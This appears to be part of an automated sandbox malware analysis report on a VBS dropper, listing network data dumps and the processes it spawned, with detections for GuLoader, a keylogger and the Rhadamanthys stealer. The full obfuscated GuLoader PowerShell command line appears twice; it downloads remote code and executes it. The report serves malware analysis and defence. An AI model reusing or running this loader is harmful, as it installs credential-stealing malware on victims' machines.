2024-12-18 18:27:58 UTC	8000	IN	Data Raw: 01 5d 41 1b bd 0f cf d4 13 f7 12 3d 78 27 b3 ca ec 0f 96 dc 65 18 8a fb 4d 75 cd 0e fe 68 02 50 9f b0 09 08 7c 9c 6c ef cd 05 21 4d d6 0b 06 fe ec 73 4d 00 c6 01 f4 17 ec 04 ee 67 95 e6 da 81 57 b1 b0 c4 d1 34 51 39 92 90 1e d4 b9 bc 3b 38 2e 8f 3c d3 56 bd e7 0c 05 28 d0 95 80 38 f0 44 90 17 7a 14 4c 3c ed 70 fd e9 ae 4b 8c 23 fd 9c 64 1e 9f 03 5c 84 3e 33 10 37 da 26 b4 e0 69 f6 a8 18 94 10 c6 8a 68 61 1a 16 23 8e f7 48 c7 d2 1c 41 ad ce 51 39 8c 89 19 74 5e 60 15 4d 80 8c ce 48 52 dc e3 c2 f0 f8 46 72 ac 28 1d 14 08 b5 7c c2 dd 2e 61 2a 8b 02 b4 3c 12 82 6e d6 65 3d 2c 7b fa ea 52 7a c7 6a 8b 4f 79 50 8f c7 50 2f 65 0d 32 2a 67 fe e3 59 2e 29 57 78 59 f9 34 a5 97 4f c1 ef c5 73 60 07 c9 62 9e 9a 18 b0 4b 6f 85 48 a2 7f 1b 6d 6a 80 fb 95 84 da d0 9f b8 Data Ascii: ]A=x'eMuhP\|l!MsMgW4Q9;8.<V(8DzL<pK#d\>37&iha#HAQ9t^`MHRFr(\|.a<ne=,{RzjOyPP/e2gY.)WxY4Os`bKoHmj
2024-12-18 18:27:58 UTC	8000	IN	Data Raw: 3b 0b e5 1d 5e cc cc b4 15 b0 77 18 eb d8 d5 d4 e2 ee c3 ef dd ee bd 67 9f 2b 05 23 0c 86 a5 6f 7a 24 79 be 4e ff 04 a9 a8 9a 63 8b 25 1b 4e 14 f2 cd 83 0c 30 14 ef 1c fd f2 c1 39 48 36 2b 67 79 a5 59 60 22 90 60 b7 a2 1c 15 5f 82 b7 d5 9a 22 b8 b8 22 10 01 17 77 ee 59 88 c0 6d cf 5f 45 f7 ec 7a 99 c9 1d 4a 32 ea d3 8b cd 21 7d b4 8c 63 77 e1 3a 3f 1d 00 cb 82 a6 d2 20 f5 24 cb f3 7d b9 ec 74 5a 11 f8 86 db 36 82 ad 9f d6 cd 77 6f 5f d5 53 0a 0f b5 14 20 5a 67 41 f1 40 3b a3 8c 64 56 4c 9f 06 b3 d4 49 39 4e d8 e1 31 c4 07 3e 60 49 ae e9 b1 b4 ee cf 93 3a 21 54 0a c9 d8 ae 8b 64 aa cc 9a 20 ed 9e d0 cb 99 2d ba ab 56 75 95 0a d6 97 74 19 11 6f 64 30 17 1a 30 3f 8b 38 89 b3 93 79 f5 8e c4 36 9f ff b0 14 5d aa e4 14 17 fc 5b a5 f7 21 94 db 98 84 f7 15 e1 8d Data Ascii: ;^wg+#oz$yNc%N09H6+gyY`"`_""wYm_EzJ2!}cw:? $}tZ6wo_S ZgA@;dVLI9N1>`I:!Td -Vutod00?8y6][!
2024-12-18 18:27:58 UTC	8000	IN	Data Raw: da 0e 84 ed f0 b7 d4 11 77 d9 fc 1a 73 b1 e7 4a 52 7d 19 bb f8 01 15 2f b0 ec fe 2c 3b 11 51 28 8c 94 38 0e ef 11 f7 b1 c3 fc 6b c7 36 48 01 20 a7 31 9b 5c bd 2f 96 20 80 8b 4a 64 82 f3 0f c5 ba 96 cb 52 91 1b e3 01 8d ba 19 60 11 b1 ed 0e 1c 7e c0 ca 23 96 82 72 65 e8 b7 48 72 f9 bd 17 13 85 95 05 fc 1c 1b dc bd 04 19 41 70 8c 69 68 6f a2 c6 71 e8 1a 14 9b 21 6d 57 fc 36 d0 6f ad aa 39 50 5f c7 7b 72 03 a8 ca cc bf 77 bb 24 3c 86 6a 69 55 cf 6a 7e 83 c9 6a d8 b9 06 33 7c 9a ae 22 43 b2 e8 28 96 7a 3a 87 12 cf 9d 22 c8 ca 3f 80 45 e1 e2 38 80 ee 04 b6 f2 33 6a 41 02 14 d6 08 a8 ce f1 24 c0 4f 55 64 d4 57 45 f2 00 4e d8 c5 b8 ed ab 77 0b 6a b7 1d 89 10 88 08 64 1d b9 93 16 42 91 1b b7 6e b0 53 18 66 79 6c 94 e8 4a c9 1e 05 f7 48 aa 25 60 61 5b 67 f6 a5 90 Data Ascii: wsJR}/,;Q(8k6H 1\/ JdR`~#reHrApihoq!mW6o9P_{rw$<jiUj~j3\|"C(z:"?E83jA$OUdWENwjdBnSfylJH%`a[g

Target ID:	0
Start time:	13:27:02
Start date:	18/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\g8ix97hz.vbs"
Imagebase:	0x7ff70ef90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	13:27:05
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get caption,serialnumber
Imagebase:	0x7ff79e6d0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	13:27:05
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	13:27:07
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De,mt Go arSp= u$UnAfds obMioAdl oialtane') ;cleavingly $Pastina;cleavingly (Symboltabeller 'BjS iTTaAsurFitT -StSE L EovE.oP,o Se4');cleavingly (Symboltabeller 'Go$NoGL lFlOPrb LAGalS : awBie Re .k IEkoN OdG U ,dKvfOvlSpUNoG.itTjePiRA NTyeD,smi=M,( ft.pe SsTrT - CpF.AKot hSp Fe$Mus TopeW,M ,N.kIV.NPlGV.SAlfPhu kLGrDCaT o)') ;cleavingly (Symboltabeller 'Sy$ Dg rL ao,mBB.aT Lst:deuT nChm .uArfSuF SlSne aSTr= i$ sgGlLSiO.abS,a Tl o: KaR LBeEUfTPaH MoPaP.rtIneU IEtsSk+Pe+No%Fl$G,V eA aU bExeKiNsafHuAUnbEkrB i nKSy.dycOvO uprN ,t') ;$Eliksirers=$Vaabenfabrik[$Unmuffles]}$Velfunderede=317450;$autoriserendes=28180;cleavingly (Symboltabeller ' w$PlGXyLAmO eBBlabol n:Mef nrFadZaiLsG MbMoY ogO gMieUdTB, Vi= U SegB,EbetCh-UoC uoVeNQuTB e,unF.t i Fi$P sAntAtEU MTen oiFoN SGSaSAffU,UMylInDNot');cleavingly (Symboltabeller 'Ud$opgSplCroPebHjaUdlMe: TE np HoWhc HhB.e N=Sy Vi[DeS,eyR sMatNee.mmFn.,pCRioInnRevReeSarP t ]Ca:Sn:K F arNao PmU B oa asRyeMi6B 4 aS BtIprRoi unAng D( a$.eF FrTid .i gPrb,yyAfgSug be Pt s)');cleavingly (Symboltabeller 'T.$ .g .lT.OInbEsaQul o: eFSpl KJ VL usBeGLrR,iS u D =Re D[ osHeYI sS TSkE mBa. yT.nED x Ct E. ae NReCReOEgdS I DN eG,e]H,:C.:R ATysB CNaislIQu.AdGP eB,TVesSaTElR ,I,enSygte( R$ WEHop moN.c .HDiEB )');cleavingly (Symboltabeller 'Fe$Hog .lUnO Fb ea FLOu:KoBKaARet rtC,aRaLCoineaFo=.b$ReFSulUnJ iL ksDeG ,RG S F. ps fuC.b ysAltKoR,iIP.nTyGLo(.o$ToVUneFuLdeFTaU SnG dHaESorAkEFaDFoERe, ,$Una lUigT o Vr eI Ps SEM RPeeBrn HdAse.rS,a)');cleavingly $Battalia;"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.2340099936.0000020FC41F2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	13:27:07
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	13:27:18
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	13:27:18
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De,mt Go arSp= u$UnAfds obMioAdl oialtane') ;cleavingly $Pastina;cleavingly (Symboltabeller 'BjS iTTaAsurFitT -StSE L EovE.oP,o Se4');cleavingly (Symboltabeller 'Go$NoGL lFlOPrb LAGalS : awBie Re .k IEkoN OdG U ,dKvfOvlSpUNoG.itTjePiRA NTyeD,smi=M,( ft.pe SsTrT - CpF.AKot hSp Fe$Mus TopeW,M ,N.kIV.NPlGV.SAlfPhu kLGrDCaT o)') ;cleavingly (Symboltabeller 'Sy$ Dg rL ao,mBB.aT Lst:deuT nChm .uArfSuF SlSne aSTr= i$ sgGlLSiO.abS,a Tl o: KaR LBeEUfTPaH MoPaP.rtIneU IEtsSk+Pe+No%Fl$G,V eA aU bExeKiNsafHuAUnbEkrB i nKSy.dycOvO uprN ,t') ;$Eliksirers=$Vaabenfabrik[$Unmuffles]}$Velfunderede=317450;$autoriserendes=28180;cleavingly (Symboltabeller ' w$PlGXyLAmO eBBlabol n:Mef nrFadZaiLsG MbMoY ogO gMieUdTB, Vi= U SegB,EbetCh-UoC uoVeNQuTB e,unF.t i Fi$P sAntAtEU MTen oiFoN SGSaSAffU,UMylInDNot');cleavingly (Symboltabeller 'Ud$opgSplCroPebHjaUdlMe: TE np HoWhc HhB.e N=Sy Vi[DeS,eyR sMatNee.mmFn.,pCRioInnRevReeSarP t ]Ca:Sn:K F arNao PmU B oa asRyeMi6B 4 aS BtIprRoi unAng D( a$.eF FrTid .i gPrb,yyAfgSug be Pt s)');cleavingly (Symboltabeller 'T.$ .g .lT.OInbEsaQul o: eFSpl KJ VL usBeGLrR,iS u D =Re D[ osHeYI sS TSkE mBa. yT.nED x Ct E. ae NReCReOEgdS I DN eG,e]H,:C.:R ATysB CNaislIQu.AdGP eB,TVesSaTElR ,I,enSygte( R$ WEHop moN.c .HDiEB )');cleavingly (Symboltabeller 'Fe$Hog .lUnO Fb ea FLOu:KoBKaARet rtC,aRaLCoineaFo=.b$ReFSulUnJ iL ksDeG ,RG S F. ps fuC.b ysAltKoR,iIP.nTyGLo(.o$ToVUneFuLdeFTaU SnG dHaESorAkEFaDFoERe, ,$Una lUigT o Vr eI Ps SEM RPeeBrn HdAse.rS,a)');cleavingly $Battalia;"
Imagebase:	0x7b0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 0000000C.00000002.2587069409.0000000008A10000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 0000000C.00000002.2557862316.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000C.00000002.2587424244.000000000C6DB000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	13:27:18
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	19
Start time:	13:27:42
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x300000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000013.00000003.2708452120.0000000024620000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000013.00000003.2708661877.0000000024840000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000013.00000003.2704689744.0000000002540000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000013.00000003.2719430449.0000000024020000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	22
Start time:	13:27:59
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0xb90000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000016.00000003.2712310012.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000016.00000003.2709177603.0000000000B80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000016.00000003.2712594384.0000000005180000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000016.00000002.2802648641.0000000003040000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	23
Start time:	13:28:08
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	27
Start time:	13:28:20
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	--user-data-dir="C:\Users\user\AppData\Local\Temp\chr83C0.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a52e5cd8/20442955"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	28
Start time:	13:28:21
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2332,i,10028709547936440876,11237033712603791372,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	29
Start time:	13:28:22
Start date:	18/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	--user-data-dir="C:\Users\user\AppData\Local\Temp\chr8AD6.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a52e5cd8/a1d56f56"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	30
Start time:	13:28:23
Start date:	18/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2040,i,14070715780729818373,9332717717908022524,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	34
Start time:	13:28:41
Start date:	18/12/2024
Path:	C:\Program Files\Windows Media Player\wmpshare.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\wmpshare.exe"
Imagebase:	0x7ff65d480000
File size:	106'496 bytes
MD5 hash:	A89F75B51EAADA8C97F8D674B3EDB2F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	35
Start time:	13:28:43
Start date:	18/12/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\dllhost.exe"
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false